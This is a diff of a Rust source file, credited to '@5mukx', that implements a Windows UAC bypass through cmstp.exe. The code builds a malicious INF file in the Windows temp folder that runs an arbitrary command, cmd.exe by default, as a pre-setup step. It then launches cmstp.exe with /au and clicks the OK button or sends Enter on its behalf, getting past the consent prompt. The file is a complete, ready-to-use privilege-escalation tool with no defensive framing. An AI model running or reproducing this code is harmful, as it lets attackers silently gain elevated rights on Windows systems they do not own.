1
+ /*
2
+ Bypass UAC by using CMSTP.exe
3
+ @5mukx
4
+ */
5
+
6
+ use std:: env:: args;
7
+ use std:: ffi:: CString ;
8
+ use std:: fs:: File ;
9
+ use std:: io:: { Error as IoError , Write } ;
10
+ use std:: path:: Path ;
11
+ use std:: process:: { Command , Stdio } ;
12
+ use std:: ptr:: null_mut;
13
+ use winapi:: um:: winuser:: {
14
+ FindWindowA , FindWindowExA , SendMessageA , SetForegroundWindow , ShowWindow , BM_CLICK , SW_SHOWNORMAL ,
15
+ } ;
16
+ use winapi:: um:: winuser:: { SendInput , INPUT , INPUT_KEYBOARD , KEYBDINPUT , VK_RETURN } ;
17
+
18
+ #[ derive( Debug ) ]
19
+ #[ allow( dead_code) ]
20
+ enum CustomError {
21
+ Io ( IoError ) ,
22
+ Process ( String ) ,
23
+ WindowNotFound ( String ) ,
24
+ }
25
+
26
+ impl From < IoError > for CustomError {
27
+ fn from ( error : IoError ) -> Self {
28
+ CustomError :: Io ( error)
29
+ }
30
+ }
31
+
32
+ static INF_TEMPLATE : & str = r#"[version]
33
+ Signature=$chicago$
34
+ AdvancedINF=2.5
35
+
36
+ [DefaultInstall]
37
+ CustomDestination=CustInstDestSectionAllUsers
38
+ RunPreSetupCommands=RunPreSetupCommandsSection
39
+
40
+ [RunPreSetupCommandsSection]
41
+ REPLACE_COMMAND_LINE
42
+ taskkill /IM cmstp.exe /F
43
+
44
+ [CustInstDestSectionAllUsers]
45
+ 49000,49001=AllUSer_LDIDSection, 7
46
+
47
+ [AllUSer_LDIDSection]
48
+ "HKLM", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
49
+
50
+ [Strings]
51
+ ServiceName="CorpVPN"
52
+ ShortSvcName="CorpVPN"
53
+ "# ;
54
+
55
+ fn generate_inf_file ( command : & str ) -> Result < String , CustomError > {
56
+ let temp_dir = "C:\\ windows\\ temp" ;
57
+ let random_file_name = format ! ( "{}\\ {}.inf" , temp_dir, uuid:: Uuid :: new_v4( ) ) ;
58
+ let inf_data = INF_TEMPLATE . replace ( "REPLACE_COMMAND_LINE" , command) ;
59
+
60
+ let mut file = File :: create ( & random_file_name) ?;
61
+ file. write_all ( inf_data. as_bytes ( ) ) ?;
62
+ Ok ( random_file_name)
63
+ }
64
+
65
+ fn execute_cmstp ( inf_file : & str ) -> Result < ( ) , CustomError > {
66
+ let binary_path = "C:\\ windows\\ system32\\ cmstp.exe" ;
67
+ if !Path :: new ( binary_path) . exists ( ) {
68
+ return Err ( CustomError :: Process ( "cmstp.exe binary not found!" . to_string ( ) ) ) ;
69
+ }
70
+
71
+ let mut child = Command :: new ( binary_path)
72
+ . arg ( "/au" )
73
+ . arg ( inf_file)
74
+ . stdout ( Stdio :: null ( ) )
75
+ . stderr ( Stdio :: null ( ) )
76
+ . spawn ( )
77
+ . map_err ( |e| CustomError :: Process ( format ! ( "Failed to start cmstp.exe: {}" , e) ) ) ?;
78
+
79
+ let window_titles = [ "CorpVPN" , "cmstp" ] ;
80
+ for title in & window_titles {
81
+ if interact_with_window ( title) ? {
82
+ break ;
83
+ }
84
+ }
85
+
86
+ child. wait ( ) ?;
87
+ Ok ( ( ) )
88
+ }
89
+
90
+ fn interact_with_window ( process_name : & str ) -> Result < bool , CustomError > {
91
+ let class_name = CString :: new ( process_name) . map_err ( |_| CustomError :: WindowNotFound ( "Failed to create CString for window title" . to_string ( ) ) ) ?;
92
+ let ok_button_name = CString :: new ( "OK" ) . map_err ( |_| CustomError :: WindowNotFound ( "Failed to create CString for OK button" . to_string ( ) ) ) ?;
93
+
94
+ loop {
95
+ unsafe {
96
+ let hwnd = FindWindowA ( null_mut ( ) , class_name. as_ptr ( ) ) ;
97
+ if hwnd. is_null ( ) {
98
+ continue ; // Keep trying to find the window
99
+ }
100
+
101
+ SetForegroundWindow ( hwnd) ;
102
+ ShowWindow ( hwnd, SW_SHOWNORMAL ) ;
103
+
104
+ let ok_button = FindWindowExA (
105
+ hwnd,
106
+ null_mut ( ) ,
107
+ null_mut ( ) ,
108
+ ok_button_name. as_ptr ( ) ,
109
+ ) ;
110
+ if !ok_button. is_null ( ) {
111
+ SendMessageA ( ok_button, BM_CLICK , 0 , 0 ) ;
112
+ return Ok ( true ) ;
113
+ }
114
+
115
+ simulate_keypress ( ) ;
116
+ return Ok ( true ) ;
117
+ }
118
+ }
119
+ }
120
+
121
+ fn simulate_keypress ( ) {
122
+ unsafe {
123
+ let mut input = INPUT {
124
+ type_ : INPUT_KEYBOARD ,
125
+ u : std:: mem:: zeroed ( ) ,
126
+ } ;
127
+
128
+ * input. u . ki_mut ( ) = KEYBDINPUT {
129
+ wVk : VK_RETURN as u16 ,
130
+ wScan : 0 ,
131
+ dwFlags : 0 ,
132
+ time : 0 ,
133
+ dwExtraInfo : 0 ,
134
+ } ;
135
+
136
+ SendInput ( 1 , & mut input, std:: mem:: size_of :: < INPUT > ( ) as i32 ) ;
137
+ }
138
+ }
139
+
140
+ fn main ( ) -> Result < ( ) , CustomError > {
141
+ let args: Vec < String > = args ( ) . collect ( ) ;
142
+
143
+ let inf_file = match args. len ( ) {
144
+ 1 => generate_inf_file ( "C:\\ Windows\\ System32\\ cmd.exe" ) ?,
145
+ 2 => generate_inf_file ( & args[ 1 ] ) ?,
146
+ _ => return Err ( CustomError :: Process ( "Incorrect number of arguments. Use exactly one or none." . to_string ( ) ) ) ,
147
+ } ;
148
+
149
+ execute_cmstp ( & inf_file)
150
+ }
0 commit comments